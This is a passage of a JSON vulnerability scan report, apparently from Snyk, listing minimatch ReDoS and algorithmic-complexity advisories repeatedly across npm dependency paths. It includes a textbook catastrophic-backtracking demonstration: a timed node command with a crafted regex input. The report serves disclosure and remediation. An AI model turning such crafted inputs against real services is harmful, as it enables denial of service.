time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", 